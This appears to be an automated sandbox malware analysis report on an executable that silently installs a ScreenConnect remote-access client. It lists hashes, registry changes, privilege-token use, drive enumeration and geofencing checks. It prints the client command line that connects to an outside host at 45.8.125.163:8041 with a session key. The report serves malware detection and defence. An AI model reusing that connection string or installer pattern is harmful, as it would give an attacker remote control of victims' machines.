Analysis
- max time kernel
146s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20250610-en - resource tags
arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system - submitted
11/06/2025, 08:46
Static task
static1
Behavioral task
behavioral1
Sample
8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe
Resource
win10v2004-20250610-en
windows10-2004-x64
16 signatures
150 seconds
General
- Target 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe
- Size 5.4MB
- Sample250611-kphv3sar21
- SHA256 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02
- MD5 986992927c8922bc9dd278394336e210
- SHA1 f320606e7b8a3916e1f2cf74bb46179dd93b4d88
- SHA512 05745885bb69a9eb0380a61d87ca75e39ee99554131ea1e8cf354cea257802a56a41352fafc1f08097f6ab354afa7c2bae103b353ea746af33c842887f739777
- SSDEEP 49152:cEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqMv:1Es6efPNwJ4t1h0cG5FGJRPxow8O
- MD5 SHA1 SHA512 SSDEEP
Score
6/10
Malware Config
Signatures
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\USER\S-1-5-21-815616237-4012932787-4224613991-1000\Control Panel\International\Geo\Nation 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe - Drops file in Program Files directory 17 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.Override.resources msiexec.exe - Drops file in Windows directory 11 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{4B705F41-80C2-3A4B-20FC-F06C91E66AB6} msiexec.exe File opened for modification C:\Windows\Installer\MSI8CB0.tmp msiexec.exe File created C:\Windows\Installer\e578b0c.msi msiexec.exe File opened for modification C:\Windows\Installer\e578b0a.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8C90.tmp msiexec.exe File created C:\Windows\Installer\{4B705F41-80C2-3A4B-20FC-F06C91E66AB6}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\{4B705F41-80C2-3A4B-20FC-F06C91E66AB6}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e578b0a.msi msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 4684 ScreenConnect.WindowsClient.exe 4892 ScreenConnect.WindowsClient.exe - Loads dropped DLL 11 IoCs
pid Process 5432 MsiExec.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 1388 rundll32.exe 5800 MsiExec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe - Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe - Modifies registry class 32 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\ProductIcon = "C:\\Windows\\Installer\\{4B705F41-80C2-3A4B-20FC-F06C91E66AB6}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5b4d3b0913e89c0a msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5b4d3b0913e89c0a\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\PackageName = "ScreenConnect.ClientSetup.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\14F507B42C08B4A302CF0FC6196EA66B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\PackageCode = "14F507B42C08B4A302CF0FC6196EA66B" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\shell\open\command msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\5b4d3b0913e89c0a\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (5b4d3b0913e89c0a)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\14F507B42C08B4A302CF0FC6196EA66B\Full msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\86E0AAF8F8A56AECB5D4B390318EC9A0 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\86E0AAF8F8A56AECB5D4B390318EC9A0\14F507B42C08B4A302CF0FC6196EA66B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\5b4d3b0913e89c0a\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5b4d3b0913e89c0a\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\ProductName = "ScreenConnect Client (5b4d3b0913e89c0a)" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\14F507B42C08B4A302CF0FC6196EA66B\Version = "402849799" msiexec.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2720 msiexec.exe 2720 msiexec.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1148 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe Token: SeShutdownPrivilege 5316 msiexec.exe Token: SeIncreaseQuotaPrivilege 5316 msiexec.exe Token: SeSecurityPrivilege 2720 msiexec.exe Token: SeCreateTokenPrivilege 5316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5316 msiexec.exe Token: SeLockMemoryPrivilege 5316 msiexec.exe Token: SeIncreaseQuotaPrivilege 5316 msiexec.exe Token: SeMachineAccountPrivilege 5316 msiexec.exe Token: SeTcbPrivilege 5316 msiexec.exe Token: SeSecurityPrivilege 5316 msiexec.exe Token: SeTakeOwnershipPrivilege 5316 msiexec.exe Token: SeLoadDriverPrivilege 5316 msiexec.exe Token: SeSystemProfilePrivilege 5316 msiexec.exe Token: SeSystemtimePrivilege 5316 msiexec.exe Token: SeProfSingleProcessPrivilege 5316 msiexec.exe Token: SeIncBasePriorityPrivilege 5316 msiexec.exe Token: SeCreatePagefilePrivilege 5316 msiexec.exe Token: SeCreatePermanentPrivilege 5316 msiexec.exe Token: SeBackupPrivilege 5316 msiexec.exe Token: SeRestorePrivilege 5316 msiexec.exe Token: SeShutdownPrivilege 5316 msiexec.exe Token: SeDebugPrivilege 5316 msiexec.exe Token: SeAuditPrivilege 5316 msiexec.exe Token: SeSystemEnvironmentPrivilege 5316 msiexec.exe Token: SeChangeNotifyPrivilege 5316 msiexec.exe Token: SeRemoteShutdownPrivilege 5316 msiexec.exe Token: SeUndockPrivilege 5316 msiexec.exe Token: SeSyncAgentPrivilege 5316 msiexec.exe Token: SeEnableDelegationPrivilege 5316 msiexec.exe Token: SeManageVolumePrivilege 5316 msiexec.exe Token: SeImpersonatePrivilege 5316 msiexec.exe Token: SeCreateGlobalPrivilege 5316 msiexec.exe Token: SeCreateTokenPrivilege 5316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5316 msiexec.exe Token: SeLockMemoryPrivilege 5316 msiexec.exe Token: SeIncreaseQuotaPrivilege 5316 msiexec.exe Token: SeMachineAccountPrivilege 5316 msiexec.exe Token: SeTcbPrivilege 5316 msiexec.exe Token: SeSecurityPrivilege 5316 msiexec.exe Token: SeTakeOwnershipPrivilege 5316 msiexec.exe Token: SeLoadDriverPrivilege 5316 msiexec.exe Token: SeSystemProfilePrivilege 5316 msiexec.exe Token: SeSystemtimePrivilege 5316 msiexec.exe Token: SeProfSingleProcessPrivilege 5316 msiexec.exe Token: SeIncBasePriorityPrivilege 5316 msiexec.exe Token: SeCreatePagefilePrivilege 5316 msiexec.exe Token: SeCreatePermanentPrivilege 5316 msiexec.exe Token: SeBackupPrivilege 5316 msiexec.exe Token: SeRestorePrivilege 5316 msiexec.exe Token: SeShutdownPrivilege 5316 msiexec.exe Token: SeDebugPrivilege 5316 msiexec.exe Token: SeAuditPrivilege 5316 msiexec.exe Token: SeSystemEnvironmentPrivilege 5316 msiexec.exe Token: SeChangeNotifyPrivilege 5316 msiexec.exe Token: SeRemoteShutdownPrivilege 5316 msiexec.exe Token: SeUndockPrivilege 5316 msiexec.exe Token: SeSyncAgentPrivilege 5316 msiexec.exe Token: SeEnableDelegationPrivilege 5316 msiexec.exe Token: SeManageVolumePrivilege 5316 msiexec.exe Token: SeImpersonatePrivilege 5316 msiexec.exe Token: SeCreateGlobalPrivilege 5316 msiexec.exe Token: SeCreateTokenPrivilege 5316 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5316 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 5316 msiexec.exe 5316 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4892 ScreenConnect.WindowsClient.exe 4892 ScreenConnect.WindowsClient.exe 4892 ScreenConnect.WindowsClient.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1148 wrote to memory of 5316 1148 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe 83 PID 1148 wrote to memory of 5316 1148 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe 83 PID 1148 wrote to memory of 5316 1148 8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe 83 PID 2720 wrote to memory of 5432 2720 msiexec.exe 86 PID 2720 wrote to memory of 5432 2720 msiexec.exe 86 PID 2720 wrote to memory of 5432 2720 msiexec.exe 86 PID 5432 wrote to memory of 1388 5432 MsiExec.exe 87 PID 5432 wrote to memory of 1388 5432 MsiExec.exe 87 PID 5432 wrote to memory of 1388 5432 MsiExec.exe 87 PID 2720 wrote to memory of 5800 2720 msiexec.exe 90 PID 2720 wrote to memory of 5800 2720 msiexec.exe 90 PID 2720 wrote to memory of 5800 2720 msiexec.exe 90 PID 2720 wrote to memory of 4684 2720 msiexec.exe 91 PID 2720 wrote to memory of 4684 2720 msiexec.exe 91 PID 4684 wrote to memory of 4892 4684 ScreenConnect.WindowsClient.exe 92 PID 4684 wrote to memory of 4892 4684 ScreenConnect.WindowsClient.exe 92 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe"C:\Users\Admin\AppData\Local\Temp\8dd784930dcc0fd6fc1448353ea91a05251d0a2fa264d0afd278c4d2da665e02.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\5b4d3b0913e89c0a\ScreenConnect.ClientSetup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5316
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 09FED9C5082DC62C782C85D59448BA30 C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5432 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8760.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240617437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1388
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 3EC28AEE6C0CBED4EBDC0AD200DEA9A12⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5800
-
-
C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe" "Rerun" "?e=Access&y=Host&h=45.8.125.163&p=8041&s=5a0b22ff-ce21-48fb-9dc3-396b0b20a7da&k=BgIAAACkAABSU0ExAAgAAAEAAQCd2g8uWxRPQbkh9s%2bsS0xP2nYUfBt4LPdh6tRukHOu6IyOKL8fxn49SXW6Y5cRL3z2AM9XzsTmwoa90JsFk8IZnLAGAzA3Vvno0TPUpp39pyf1COrPwiSC2tnTcV0FWII1xU%2fFk8JJDTZhrBNOCTmSGv2%2bl4RciLj85jkzeEEYpeh1ipk%2fvoPeizPRnezSe1p40rXKp%2b4zPQcTLZtx33%2f%2fuovZSG5zoC%2fbWNDtxWyzIczAnvbfx8M0hL5c4M7%2bE4cl8VHN5sXNFm%2f9Z%2bAqgmpg%2bSv%2fwdBe1tPYIbF8WtTptYsbYkNd5DCaD4FrqiKIhwqGXeMC6YA3ougPgl74qfaW&n=BCdOxdciZf9%2fO6bjowtETmBK2dntJqgF3rxWHnWUkwvRJYepgNtUmVWqwdpKpMCoU08ig5oTCtMKThl4GUf4VIJ9hK%2fDT5WTBMJNXWuUnm9c7SGF5sDz2wiZkuL4CJapv26u%2bzYVe0zUnh819eahbMQi6UIj4t1j9CjGjGa85AUM%2b2QzicNHVE%2fs1lZE1vNbYw%3d%3d&i=WEUDXHRL-65206"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe" "?e=Access&y=Host&h=45.8.125.163&p=8041&s=5a0b22ff-ce21-48fb-9dc3-396b0b20a7da&k=BgIAAACkAABSU0ExAAgAAAEAAQCd2g8uWxRPQbkh9s%2bsS0xP2nYUfBt4LPdh6tRukHOu6IyOKL8fxn49SXW6Y5cRL3z2AM9XzsTmwoa90JsFk8IZnLAGAzA3Vvno0TPUpp39pyf1COrPwiSC2tnTcV0FWII1xU%2fFk8JJDTZhrBNOCTmSGv2%2bl4RciLj85jkzeEEYpeh1ipk%2fvoPeizPRnezSe1p40rXKp%2b4zPQcTLZtx33%2f%2fuovZSG5zoC%2fbWNDtxWyzIczAnvbfx8M0hL5c4M7%2bE4cl8VHN5sXNFm%2f9Z%2bAqgmpg%2bSv%2fwdBe1tPYIbF8WtTptYsbYkNd5DCaD4FrqiKIhwqGXeMC6YA3ougPgl74qfaW&n=BCdOxdciZf9%2fO6bjowtETmBK2dntJqgF3rxWHnWUkwvRJYepgNtUmVWqwdpKpMCoU08ig5oTCtMKThl4GUf4VIJ9hK%2fDT5WTBMJNXWuUnm9c7SGF5sDz2wiZkuL4CJapv26u%2bzYVe0zUnh819eahbMQi6UIj4t1j9CjGjGa85AUM%2b2QzicNHVE%2fs1lZE1vNbYw%3d%3d&i=WEUDXHRL-65206"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4892
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1404
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e578b0b.rbs
- Size 10KB
- SHA256 c07cebc98971ba5f6316b3f4efea17b94c17dd1172bc90a8fd49e7e30ab8e5bb
- MD5 adcf110a011eee019b0454827f8d0633
- SHA1 e938e2d20e4c55fe0b4a4544bed927b7f06cc90b
- SHA512 57bf39d3bd28abcb328eb34cf48658ee3136c00b65d7398579c6a20a29dd7907bfebb11b65e3f783b94ccb1b7b010896efef48bfdba341ab7cd25519f910f967
- SSDEEP 192:iL2ei1WAjBvbv9HKSe4Z73uiInn73uigwnPs6e77Xjsopr3:iL2ei1WAjBvbv9q673utn73um5ePo+
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.Override.en-US.resources
- Size 735B
- SHA256 ff3b61f6bf3c2971543350373653c190585ea956f4519d74bc087b890b2abae4
- MD5 bf2323ca965cd41c3f360668f0afd207
- SHA1 3ccfb316efaab0e234ef376d7325ec4293b479fc
- SHA512 6c109324541631af2b391aad56c5f16615c05327f046afc9eeb4193cdeb62222b9332c67b98215a8c49e0f2295e8562c37fda5a99a9acc38487c74929016b358
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.Override.resources
- Size 58KB
- SHA256 cb76e86895cf9fdbe138f173be429c9e31cebc53db373bb57099af4775e8c4ec
- MD5 09f51552a04ef57aaec929aeaecff6bd
- SHA1 7843e1ecbbe6111d53cfedef838348d626fd548e
- SHA512 6e37a47f15aba902a214ccf15302f14a7ca400155ff514529973cdef70528ef30247afd412c71c2af16d64bf4782b43c7469aed77ce11c86c3dd305d41929974
- SSDEEP 384:rHaPp8GEWsXVZyf4kYLyS/+pK5a/7ELEZT9WoFAGtEQ6aZDuBdRLffR3zokcm2h:Tw8xXVZyfnZS/+pmU19/uGT6XdFffebh
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.en-US.resources
- Size 48KB
- SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
- MD5 d524e8e6fd04b097f0401b2b668db303
- SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
- SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
- SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\Client.resources
- Size 26KB
- SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
- MD5 5cd580b22da0c33ec6730b10a6c74932
- SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
- SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
- SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.Client.dll
- Size 192KB
- SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
- MD5 3724f06f3422f4e42b41e23acb39b152
- SHA1 1220987627782d3c3397d4abf01ac3777999e01c
- SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
- SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.ClientService.dll
- Size 66KB
- SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
- MD5 5db908c12d6e768081bced0e165e36f8
- SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
- SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
- SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.WindowsClient.exe
- Size 588KB
- SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
- MD5 1778204a8c3bc2b8e5e4194edbaf7135
- SHA1 0203b65e92d2d1200dd695fe4c334955befbddd3
- SHA512 a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69
- SSDEEP 6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
